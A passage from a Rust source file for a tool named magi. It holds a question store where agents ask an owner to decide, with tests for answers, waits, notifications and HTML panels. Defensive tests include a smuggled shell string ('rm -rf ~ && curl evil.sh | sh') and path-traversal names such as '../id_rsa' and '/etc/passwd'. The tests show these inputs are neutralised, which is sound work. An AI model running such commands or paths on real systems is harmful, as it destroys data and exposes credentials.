1761/// Remove a directory and everything under it, treating "not there" as done.
1762///
1763/// A panel is replaced wholesale and dropped idempotently, and in both cases
1764/// the absence of the directory is the desired end state, not an error.
1765fn clear_dir(path: &Path) -> Result<()> {
1766 match std::fs::remove_dir_all(path) {
1767 Ok(()) => Ok(()),
1768 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1769 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1770 }
1771}
1772
1773fn read_path(path: &Path) -> Result<Question> {
1774 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1775 let q: Question =
1776 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1777 if q.schema > SCHEMA {
1778 // Strictly newer, not merely different: every field added since
1779 // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1780 // here as "no thread yet" rather than as garbage. Only a schema this
1781 // build has never heard of is refused.
1782 bail!(
1783 "question {} was written by a newer magi (schema {}, this build \
1784 only speaks up to {SCHEMA})",
1785 q.id,
1786 q.schema
1787 );
1788 }
1789 Ok(q)
1790}
1791
1792/// [`short`] for callers outside this module (a run id shortens the same way).
1793pub fn short_id(id: &str) -> &str {
1794 short(id)
1795}
1796
1797fn short(id: &str) -> &str {
1798 id.split('-').next_back().unwrap_or(id)
1799}
1800
1801fn new_id() -> String {
1802 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1803 let seed = crate::rng::entropy();
1804 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1805}
1806
1807#[cfg(test)]
1808mod tests {
1809 use super::*;
1810
1811 /// A store of its own, with no process-global state - which is the point of
1812 /// `Questions::at`, and why these can run in parallel.
1813 fn store() -> (tempfile::TempDir, Questions) {
1814 let dir = tempfile::tempdir().unwrap();
1815 let s = Questions::at(dir.path().join("questions"));
1816 (dir, s)
1817 }
1818
1819 #[test]
1820 fn deleting_a_run_stops_its_questions_asking() {
1821 let (_dir, store) = store();
1822
1823 let mut open_one = choice_question();
1824 store.put(&mut open_one).unwrap();
1825 let mut answered = free_question();
1826 answered
1827 .answer(Answer::Text("keep this".to_owned()))
1828 .unwrap();
1829 store.put(&mut answered).unwrap();
1830 let mut elsewhere = choice_question();
1831 elsewhere.run = "20260903-105039-3cbf".to_owned();
1832 store.put(&mut elsewhere).unwrap();
1833
1834 let n = store
1835 .abandon_for_run(&open_one.run, "run was deleted")
1836 .unwrap();
1837 assert_eq!(n, 1, "only the open question of that run");
1838
1839 let back = store.get(&open_one.id).unwrap();
1840 assert!(!back.status.open(), "it no longer asks for a decision");
1841 assert!(
1842 back.detail.contains("run was deleted"),
1843 "the operator can see why: {}",
1844 back.detail
1845 );
1846
1847 let kept = store.get(&answered.id).unwrap();
1848 assert_eq!(
1849 kept.status,
1850 QuestionStatus::Answered,
1851 "an answered question is a decision on record, not something to revoke"
1852 );
1853 assert!(
1854 store.get(&elsewhere.id).unwrap().status.open(),
1855 "another run's question is untouched"
1856 );
1857 assert!(store.open_for(&open_one.run).is_empty());
1858 }
1859
1860 #[test]
1861 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1862 let (_dir, store) = store();
1863 let mut q = choice_question();
1864 store.put(&mut q).unwrap();
1865
1866 // `Blocked` can still be resumed - leave it exactly as it was.
1867 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1868 assert_eq!(n, 0);
1869 assert!(store.get(&q.id).unwrap().status.open());
1870
1871 // `Failed` is not - abandon it, with the run and its fate in the
1872 // reason so the owner can tell what happened without a run to read.
1873 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1874 assert_eq!(n, 1);
1875 let back = store.get(&q.id).unwrap();
1876 assert!(!back.status.open());
1877 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1878
1879 // A second call against the same, now-settled run finds nothing left.
1880 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1881 }
1882
1883 fn choice_question() -> Question {
1884 Question::new(
1885 "20260902-201256-9fb7".to_owned(),
1886 "implement".to_owned(),
1887 "impl-A".to_owned(),
1888 "Which storage backend should the cache use?".to_owned(),
1889 "Both are already dependencies.".to_owned(),
1890 vec!["SQLite".to_owned(), "Redis".to_owned()],
1891 )
1892 }
1893
1894 fn free_question() -> Question {
1895 Question::new(
1896 "20260902-201256-9fb7".to_owned(),
1897 "review".to_owned(),
1898 "rev-1".to_owned(),
1899 "What should the error message say?".to_owned(),
1900 String::new(),
1901 Vec::new(),
1902 )
1903 }
1904
1905 /// No notification, which is the default and what most of these want.
1906 fn quiet() -> config::Notify {
1907 config::Notify::default()
1908 }
1909
1910 #[test]
1911 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1912 // The front end parses these names by hand; there is no shared schema
1913 // and no compiler between the two. A rename here is a UI that shows an
1914 // empty card and reports no error, so the names are asserted literally.
1915 let mut q = choice_question();
1916 q.id = "20260902-231501-ab12".to_owned();
1917 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1918 // `serde_json::Value` holds an object's keys sorted, and key order
1919 // means nothing to a JSON reader anyway: the field *set* is what the
1920 // front end was written against, so that is what is pinned here.
1921 let keys: Vec<&str> = open
1922 .as_object()
1923 .unwrap()
1924 .keys()
1925 .map(String::as_str)
1926 .collect();
1927 assert_eq!(
1928 keys,
1929 [
1930 "actions",
1931 "answer",
1932 "answer_delivered",
1933 "answer_timeout",
1934 "answered_at",
1935 "asked_at",
1936 "assets",
1937 "choices",
1938 "cwd",
1939 "delivered_turns",
1940 "deputy",
1941 "detail",
1942 "id",
1943 "node",
1944 "panel",
1945 "run",
1946 "schema",
1947 "seat",
1948 "status",
1949 "summary",
1950 "thread",
1951 "waiter",
1952 ],
1953 "the on-disk field set is a contract with the front end"
1954 );
1955 assert_eq!(open["schema"], 5);
1956 assert_eq!(open["thread"], serde_json::json!([]));
1957 assert_eq!(open["id"], "20260902-231501-ab12");
1958 assert_eq!(open["run"], "20260902-201256-9fb7");
1959 assert_eq!(open["node"], "implement");
1960 assert_eq!(open["seat"], "impl-A");
1961 assert_eq!(open["status"], "open");
1962 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1963 assert_eq!(open["answered_at"], serde_json::Value::Null);
1964 assert_eq!(open["answer"], serde_json::Value::Null);
1965 let asked = open["asked_at"].as_str().unwrap();
1966 assert!(
1967 asked.ends_with('Z') && asked.contains('T'),
1968 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1969 );
1970
1971 // A chosen option, exactly as the contract spells it.
1972 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1973 let answered = serde_json::to_value(&q).unwrap();
1974 assert_eq!(answered["status"], "answered");
1975 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1976 assert!(answered["answered_at"].is_string());
1977
1978 // And free text, which is the other of the two forms.
1979 let mut free = free_question();
1980 free.answer(Answer::Text("Say which file it was".to_owned()))
1981 .unwrap();
1982 assert_eq!(
1983 serde_json::to_value(&free).unwrap()["answer"],
1984 serde_json::json!({"text": "Say which file it was"})
1985 );
1986
1987 // And it survives the round trip a reader actually performs.
1988 let body = serde_json::to_string(&q).unwrap();
1989 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1990 }
1991
1992 #[test]
1993 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1994 // Four different mistakes, four different fixes: the web handler shows
1995 // these strings to the person who made them.
1996 let mut unoffered = choice_question();
1997 let a = unoffered
1998 .answer(Answer::Choice("Postgres".to_owned()))
1999 .unwrap_err()
2000 .to_string();
2001
2002 let mut typed = choice_question();
2003 let b = typed
2004 .answer(Answer::Text("use Postgres".to_owned()))
2005 .unwrap_err()
2006 .to_string();
2007
2008 let mut blank = free_question();
2009 let c = blank
2010 .answer(Answer::Text(" \n".to_owned()))
2011 .unwrap_err()
2012 .to_string();
2013
2014 let mut twice = choice_question();
2015 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2016 let d = twice
2017 .answer(Answer::Choice("Redis".to_owned()))
2018 .unwrap_err()
2019 .to_string();
2020
2021 assert!(a.contains("not one of the choices"), "{a}");
2022 assert!(b.contains("multiple choice"), "{b}");
2023 assert!(c.contains("empty"), "{c}");
2024 assert!(d.contains("already answered"), "{d}");
2025 let mut distinct = vec![a, b, c, d];
2026 let asked = distinct.len();
2027 distinct.sort_unstable();
2028 distinct.dedup();
2029 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2030
2031 // The refused ones are still open, so the owner can answer properly.
2032 assert_eq!(unoffered.status, QuestionStatus::Open);
2033 assert_eq!(typed.status, QuestionStatus::Open);
2034 assert_eq!(blank.status, QuestionStatus::Open);
2035 // And the first answer to the double-answered one survived.
2036 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2037
2038 // Free text refuses a fabricated choice for the mirror-image reason.
2039 let mut free = free_question();
2040 let e = free
2041 .answer(Answer::Choice("SQLite".to_owned()))
2042 .unwrap_err()
2043 .to_string();
2044 assert!(e.contains("free text"), "{e}");
2045 }
2046
2047 #[test]
2048 fn open_questions_are_listed_before_answered_ones() {
2049 let (_dir, s) = store();
2050 // Ids carry a timestamp, so force a known order: the answered one is
2051 // the newest, and must still sort below the open ones.
2052 let mut old_open = choice_question();
2053 old_open.id = "20260101-000001-aaaa".to_owned();
2054 let mut new_open = choice_question();
2055 new_open.id = "20260101-000002-bbbb".to_owned();
2056 let mut answered = choice_question();
2057 answered.id = "20260101-000003-cccc".to_owned();
2058 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2059 for q in [&mut old_open, &mut new_open, &mut answered] {
2060 s.put(q).unwrap();
2061 }
2062
2063 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2064 assert_eq!(
2065 ids,
2066 [
2067 "20260101-000002-bbbb",
2068 "20260101-000001-aaaa",
2069 "20260101-000003-cccc"
2070 ],
2071 "what has stopped work comes first; history sorts underneath"
2072 );
2073 assert_eq!(s.count_open(), 2);
2074 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2075 assert!(s.open_for("some-other-run").is_empty());
2076 // The short id is what the phone and the reports show.
2077 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2078 assert!(s.get("20260101-000002-bbbb").is_ok());
2079 assert!(s.resolve_id("nope").is_err());
2080 assert!(
2081 s.revision() > 0,
2082 "the store's mtime drives the phone's polling"
2083 );
2084 }
2085
2086 #[test]
2087 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2088 let (_dir, s) = store();
2089 let mut good = choice_question();
2090 s.put(&mut good).unwrap();
2091 // Truncated by a killed writer, and written by a magi from the future.
2092 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2093 let future = serde_json::json!({
2094 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2095 "seat": "s", "summary": "?", "detail": "", "choices": [],
2096 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2097 "answered_at": null, "answer": null,
2098 });
2099 std::fs::write(
2100 s.path_of("20260101-000010-beef"),
2101 serde_json::to_string(&future).unwrap(),
2102 )
2103 .unwrap();
2104
2105 let listed = s.list();
2106 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2107 assert_eq!(listed[0].id, good.id);
2108 // Asked for by name, the unreadable one explains itself instead.
2109 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2110 assert!(e.contains("schema"), "{e}");
2111 }
2112
2113 #[tokio::test]
2114 async fn the_wait_returns_the_answer_another_process_wrote() {
2115 // The phone, `magi answer` and this run are three processes with no
2116 // channel between them: the file is the channel, so the wait has to see
2117 // a write it did not make. Sub-second timings keep this a real wait
2118 // without a real one's duration.
2119 let (dir, s) = store();
2120 let mut q = choice_question();
2121 let id = q.id.clone();
2122 let writer = Questions::at(dir.path().join("questions"));
2123 let handle = tokio::spawn(async move {
2124 tokio::time::sleep(Duration::from_millis(30)).await;
2125 let mut fresh = writer.get(&id).expect("the question was filed first");
2126 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2127 writer.put(&mut fresh).unwrap();
2128 });
2129
2130 let got = wait_for_owner(
2131 &mut q,
2132 &s,
2133 &quiet(),
2134 Duration::from_secs(5),
2135 Duration::from_millis(10),
2136 )
2137 .await
2138 .unwrap();
2139
2140 handle.await.unwrap();
2141 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2142 assert_eq!(
2143 q.status,
2144 QuestionStatus::Answered,
2145 "the caller's copy is refreshed from the answering process's record"
2146 );
2147 assert!(q.answered_at.is_some());
2148 }
2149
2150 #[tokio::test]
2151 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2152 let (_dir, s) = store();
2153 let mut q = choice_question();
2154
2155 let got = wait_for_owner(
2156 &mut q,
2157 &s,
2158 &quiet(),
2159 Duration::from_millis(60),
2160 Duration::from_millis(10),
2161 )
2162 .await
2163 .unwrap();
2164
2165 assert_eq!(
2166 got,
2167 Wait::Abandoned,
2168 "a slow human is not an error; the run parks"
2169 );
2170 assert_eq!(q.status, QuestionStatus::Abandoned);
2171 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2172 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2173 assert!(
2174 on_disk.detail.contains("Abandoned:"),
2175 "why nobody answered belongs with the question: {}",
2176 on_disk.detail
2177 );
2178 assert!(on_disk.resolution().is_none());
2179 assert_eq!(s.count_open(), 0);
2180 }
2181
2182 #[tokio::test]
2183 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2184 // This is the whole point of slicing: `timeout` (the real
2185 // `answer_timeout` budget) is far larger than `slice`, so the loop
2186 // must land on `slice` first and hand back `Pending` - not read the
2187 // silence so far as the owner having given up.
2188 let (_dir, s) = store();
2189 let mut q = choice_question();
2190 s.put(&mut q).unwrap();
2191
2192 let got = wait_loop(
2193 &mut q,
2194 &s,
2195 Duration::from_secs(3600),
2196 Duration::from_millis(30),
2197 Duration::from_millis(10),
2198 )
2199 .await
2200 .unwrap();
2201
2202 assert_eq!(
2203 got,
2204 Wait::Pending,
2205 "the clock on this call ran out, not the owner's patience"
2206 );
2207 assert_eq!(
2208 q.status,
2209 QuestionStatus::Open,
2210 "a slice expiring must never abandon the question"
2211 );
2212 let on_disk = s.get(&q.id).expect("still on disk, still open");
2213 assert_eq!(
2214 on_disk.status,
2215 QuestionStatus::Open,
2216 "nothing about the record changed just because this call gave up"
2217 );
2218 }
2219
2220 #[tokio::test]
2221 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2222 // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2223 // and returns `Pending`, a second slice - a fresh call, exactly as a
2224 // fresh process would make - picks the same question back up and
2225 // sees an answer written in between.
2226 let (dir, s) = store();
2227 let mut q = choice_question();
2228 s.put(&mut q).unwrap();
2229
2230 let first = wait_loop(
2231 &mut q,
2232 &s,
2233 Duration::from_secs(3600),
2234 Duration::from_millis(30),
2235 Duration::from_millis(10),
2236 )
2237 .await
2238 .unwrap();
2239 assert_eq!(first, Wait::Pending);
2240
2241 let id = q.id.clone();
2242 let writer = Questions::at(dir.path().join("questions"));
2243 let mut fresh = writer.get(&id).unwrap();
2244 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2245 writer.put(&mut fresh).unwrap();
2246
2247 // `resume_wait` uses its own production poll interval rather than a
2248 // test-injected one, so the budget here only needs to be large enough
2249 // to cover one real poll tick - the point is that it is `resume_wait`
2250 // itself, not a helper, that finds the answer.
2251 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2252 .await
2253 .unwrap();
2254 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2255 assert_eq!(q.status, QuestionStatus::Answered);
2256 }
2257
2258 #[tokio::test]
2259 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2260 // The owner can speak back while nothing is running at all - between
2261 // one call reporting `Wait::Pending` and the next `--wait` picking
2262 // the question back up - and whoever resumes the wait loads a
2263 // *fresh* copy of the question off disk, one whose thread already
2264 // contains that reply. A baseline taken from that fresh copy would
2265 // treat the reply as pre-existing and never notice it "arrive",
2266 // leaving the agent polling in silence until `answer_timeout`
2267 // eventually abandons the question - replacing the exact accident
2268 // this feature exists to fix with a quieter version of itself.
2269 let (dir, s) = store();
2270 let mut q = choice_question();
2271 s.put(&mut q).unwrap();
2272
2273 let first = wait_loop(
2274 &mut q,
2275 &s,
2276 Duration::from_secs(3600),
2277 Duration::from_millis(30),
2278 Duration::from_millis(10),
2279 )
2280 .await
2281 .unwrap();
2282 assert_eq!(first, Wait::Pending);
2283
2284 // The owner speaks back during the gap, with nobody running yet.
2285 let id = q.id.clone();
2286 let writer = Questions::at(dir.path().join("questions"));
2287 let mut fresh = writer.get(&id).unwrap();
2288 fresh.say("why not Postgres?").unwrap();
2289 writer.put(&mut fresh).unwrap();
2290
2291 // `magi ask --wait` re-reads the question rather than reusing the
2292 // stale in-memory copy the earlier call held - so the copy handed to
2293 // `resume_wait` here already carries the reply, same as `fresh` above.
2294 let mut resumed = s.get(&id).unwrap();
2295 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2296 .await
2297 .unwrap();
2298 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2299 assert_eq!(
2300 resumed.status,
2301 QuestionStatus::Open,
2302 "talking back is not a decision; the question stays open"
2303 );
2304 }
2305
2306 #[tokio::test]
2307 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2308 // A broken webhook must not throw away an implementation, so the wait
2309 // reports the failure and carries on. `notify` itself still says what
2310 // went wrong, because `magi notify --test` has to be able to show it.
2311 let (dir, s) = store();
2312 let broken = config::Notify {
2313 command: vec![
2314 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2315 "{summary}".to_owned(),
2316 ],
2317 };
2318 let mut q = choice_question();
2319 assert!(
2320 notify(&broken, &q).await.is_err(),
2321 "the caller is told; it decides that it does not matter"
2322 );
2323
2324 let id = q.id.clone();
2325 let writer = Questions::at(dir.path().join("questions"));
2326 let handle = tokio::spawn(async move {
2327 tokio::time::sleep(Duration::from_millis(30)).await;
2328 let mut fresh = writer.get(&id).unwrap();
2329 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2330 writer.put(&mut fresh).unwrap();
2331 });
2332 let got = wait_for_owner(
2333 &mut q,
2334 &s,
2335 &broken,
2336 Duration::from_secs(5),
2337 Duration::from_millis(10),
2338 )
2339 .await
2340 .unwrap();
2341 handle.await.unwrap();
2342 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2343
2344 // No command at all is the default, and is silence rather than failure.
2345 assert!(notify(&quiet(), &q).await.is_ok());
2346 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2347 }
2348
2349 #[test]
2350 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2351 let mut q = choice_question();
2352 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2353 let template = [
2354 "ntfy".to_owned(),
2355 "publish".to_owned(),
2356 "--click".to_owned(),
2357 "{url}".to_owned(),
2358 "--title".to_owned(),
2359 "magi {run} needs you".to_owned(),
2360 "{summary}".to_owned(),
2361 ];
2362 let argv: Vec<String> = template
2363 .iter()
2364 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2365 .collect();
2366
2367 assert_eq!(
2368 argv,
2369 [
2370 "ntfy",
2371 "publish",
2372 "--click",
2373 "http://100.64.0.1:7777/#/questions",
2374 "--title",
2375 "magi 20260902-201256-9fb7 needs you",
2376 "; rm -rf ~ && curl evil.sh | sh #",
2377 ],
2378 "the shell metacharacters are one argument's contents, not syntax"
2379 );
2380
2381 // A summary that itself mentions a placeholder is text, not a template:
2382 // one left-to-right pass means a substituted value is never rescanned.
2383 q.summary = "should {url} be configurable?".to_owned();
2384 assert_eq!(
2385 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2386 "should {url} be configurable?"
2387 );
2388 // An unknown brace is the operator's own text and survives untouched.
2389 assert_eq!(
2390 expand("{title}: {run}", &q.run, &q.summary, ""),
2391 "{title}: 20260902-201256-9fb7"
2392 );
2393 assert_eq!(
2394 expand("no placeholders", &q.run, &q.summary, "http://x"),
2395 "no placeholders"
2396 );
2397 }
2398
2399 #[test]
2400 fn the_notification_link_lands_on_the_view_that_can_answer() {
2401 assert_eq!(
2402 question_url("http://100.64.0.1:7777"),
2403 "http://100.64.0.1:7777/#/questions"
2404 );
2405 assert_eq!(
2406 question_url("http://100.64.0.1:7777/"),
2407 "http://100.64.0.1:7777/#/questions"
2408 );
2409 // An operator who wrote a fragment has said where they want to land.
2410 assert_eq!(
2411 question_url("http://magi.ts.net/#/runs"),
2412 "http://magi.ts.net/#/runs"
2413 );
2414 // Unset expands to nothing rather than to a guessed address.
2415 assert_eq!(question_url(" "), "");
2416 }
2417
2418 /// A question with a fixed id, so a panel's path on disk is predictable.
2419 fn panelled() -> Question {
2420 let mut q = choice_question();
2421 q.id = "20260903-014455-ab12".to_owned();
2422 q
2423 }
2424
2425 #[test]
2426 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2427 let (dir, s) = store();
2428 let work = dir.path().join("worktree");
2429 std::fs::create_dir_all(&work).unwrap();
2430 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2431 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2432
2433 let mut q = panelled();
2434 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2435 s.put_panel(
2436 &mut q,
2437 html,
2438 &[work.join("table.png"), work.join("diff.svg")],
2439 )
2440 .unwrap();
2441 s.put(&mut q).unwrap();
2442
2443 assert!(q.panel);
2444 assert_eq!(
2445 q.assets,
2446 ["diff.svg", "table.png"],
2447 "sorted, not in the order the agent happened to pass them"
2448 );
2449 assert_eq!(
2450 s.panel_html(&q.id).as_deref(),
2451 Some(html),
2452 "the html is stored byte for byte; the agent authored the markup"
2453 );
2454 assert_eq!(
2455 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2456 Some(&b"<svg/>"[..])
2457 );
2458
2459 // The record on disk carries the same two fields the front end reads.
2460 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2461 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2462 assert_eq!(json["panel"], true);
2463 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2464 let back = s.get(&q.id).unwrap();
2465 assert!(back.panel);
2466 assert_eq!(back.assets, q.assets);
2467
2468 // The assets were copied, so the panel still renders after `magi fold`
2469 // has deleted the candidate worktree the agent authored it in.
2470 std::fs::remove_dir_all(&work).unwrap();
2471 assert_eq!(
2472 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2473 Some(&b"\x89PNG"[..]),
2474 "a referenced asset would be gone with the worktree"
2475 );
2476 }
2477
2478 #[test]
2479 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2480 let (dir, s) = store();
2481 let mut q = panelled();
2482 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2483 s.put(&mut q).unwrap();
2484
2485 // A file exactly one level up from the panel directory - which is
2486 // where `..` lands - holding content a read would make visible.
2487 let secret = "this must never reach the browser";
2488 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2489 assert_eq!(
2490 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2491 secret,
2492 "the traversal is real: the operating system resolves this path \
2493 happily, which is why the name has to be refused before the join"
2494 );
2495
2496 let long = "x".repeat(200);
2497 for name in [
2498 "..",
2499 "../id_rsa",
2500 "..\\id_rsa",
2501 "sub/../id_rsa",
2502 "/",
2503 "\\",
2504 "/etc/passwd",
2505 "C:\\Windows\\win.ini",
2506 "",
2507 ".hidden",
2508 ".",
2509 long.as_str(),
2510 ] {
2511 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2512 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2513 assert!(
2514 e.contains("not a panel file name"),
2515 "`{name}` must be refused as a name, not attempted: {e}"
2516 );
2517 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2518 }
2519 // A name that is allowed still finds its file, so the refusals above
2520 // were the rule at work and not a store that reads nothing.
2521 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2522
2523 // The same rule on the write side, where the name comes from a source
2524 // file's base name, and a refusal leaves the stored panel untouched.
2525 let hidden = dir.path().join(".hidden");
2526 std::fs::write(&hidden, "x").unwrap();
2527 let e = s
2528 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2529 .unwrap_err()
2530 .to_string();
2531 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2532 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2533 assert!(q.assets.is_empty());
2534 }
2535
2536 #[test]
2537 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2538 let (dir, s) = store();
2539 let mut q = panelled();
2540 s.put(&mut q).unwrap();
2541
2542 // Sized rather than filled: the cap reads the file's length, and a
2543 // test that actually produced eight mebibytes would only be slower.
2544 let big = dir.path().join("recording.png");
2545 std::fs::File::create(&big)
2546 .unwrap()
2547 .set_len(PANEL_MAX_BYTES)
2548 .unwrap();
2549
2550 let html = "<p>see the recording</p>";
2551 let total = PANEL_MAX_BYTES + html.len() as u64;
2552 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2553 assert!(
2554 e.contains(&PANEL_MAX_BYTES.to_string()),
2555 "the cap is named so the agent knows the limit: {e}"
2556 );
2557 assert!(
2558 e.contains(&total.to_string()),
2559 "the actual size is named so the agent knows by how much: {e}"
2560 );
2561
2562 assert!(!q.panel);
2563 assert!(q.assets.is_empty());
2564 let left: Vec<String> = std::fs::read_dir(s.root())
2565 .unwrap()
2566 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2567 .collect();
2568 assert_eq!(
2569 left,
2570 [format!("{}.json", q.id)],
2571 "a refused panel leaves neither a directory nor scratch: {left:?}"
2572 );
2573 }
2574
2575 #[test]
2576 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2577 let (dir, s) = store();
2578 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2579 std::fs::create_dir_all(&before).unwrap();
2580 std::fs::create_dir_all(&after).unwrap();
2581 std::fs::write(before.join("diff.png"), "before").unwrap();
2582 std::fs::write(after.join("diff.png"), "after").unwrap();
2583
2584 let mut q = panelled();
2585 let e = s
2586 .put_panel(
2587 &mut q,
2588 "<p>x</p>",
2589 &[before.join("diff.png"), after.join("diff.png")],
2590 )
2591 .unwrap_err()
2592 .to_string();
2593 assert!(e.contains("diff.png"), "{e}");
2594 assert!(
2595 e.contains("before") && e.contains("after"),
2596 "both sources are named, because the fix is to rename one: {e}"
2597 );
2598 assert!(!q.panel);
2599 assert!(!s.panel_dir(&q.id).exists());
2600 }
2601
2602 #[test]
2603 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2604 let (dir, s) = store();
2605 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2606 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2607
2608 let mut q = panelled();
2609 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2610 .unwrap();
2611 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2612 .unwrap();
2613
2614 assert_eq!(q.assets, ["new.png"]);
2615 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2616 assert!(
2617 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2618 "an asset from the first attempt would show a mix of two answers"
2619 );
2620
2621 s.drop_panel(&q.id).unwrap();
2622 assert!(s.panel_html(&q.id).is_none());
2623 assert!(!s.panel_dir(&q.id).exists());
2624 s.drop_panel(&q.id)
2625 .expect("dropping a panel that is already gone is the desired state");
2626 }
2627
2628 #[test]
2629 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2630 let (_dir, s) = store();
2631 let mut q = panelled();
2632 s.put(&mut q).unwrap();
2633
2634 assert!(!q.panel);
2635 assert!(s.panel_html(&q.id).is_none());
2636 assert!(
2637 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2638 "a missing file is a 404 for the caller, not a failure of the store"
2639 );
2640 let json = serde_json::to_value(&q).unwrap();
2641 assert_eq!(json["panel"], false);
2642 assert_eq!(json["assets"], serde_json::json!([]));
2643
2644 // And an empty panel is refused, because an empty frame reads to the
2645 // owner as "the agent had nothing to say".
2646 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2647 assert!(e.contains("empty panel"), "{e}");
2648 assert!(!s.panel_dir(&q.id).exists());
2649 }
2650
2651 #[test]
2652 fn a_question_written_before_panels_existed_still_deserialises() {
2653 let (_dir, s) = store();
2654 std::fs::create_dir_all(s.root()).unwrap();
2655 let id = "20260902-231501-ab12";
2656 // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2657 let body = r#"{
2658 "schema": 1,
2659 "id": "20260902-231501-ab12",
2660 "run": "20260902-201256-9fb7",
2661 "node": "implement",
2662 "seat": "impl-A",
2663 "summary": "Which storage backend should the cache use?",
2664 "detail": "Both are already dependencies.",
2665 "choices": ["SQLite", "Redis"],
2666 "status": "open",
2667 "asked_at": "2026-09-02T23:15:01Z",
2668 "answered_at": null,
2669 "answer": null
2670}"#;
2671 std::fs::write(s.path_of(id), body).unwrap();
2672
2673 let q = s.get(id).unwrap();
2674 assert!(
2675 !q.panel,
2676 "an absent field means no panel, not a parse error"
2677 );
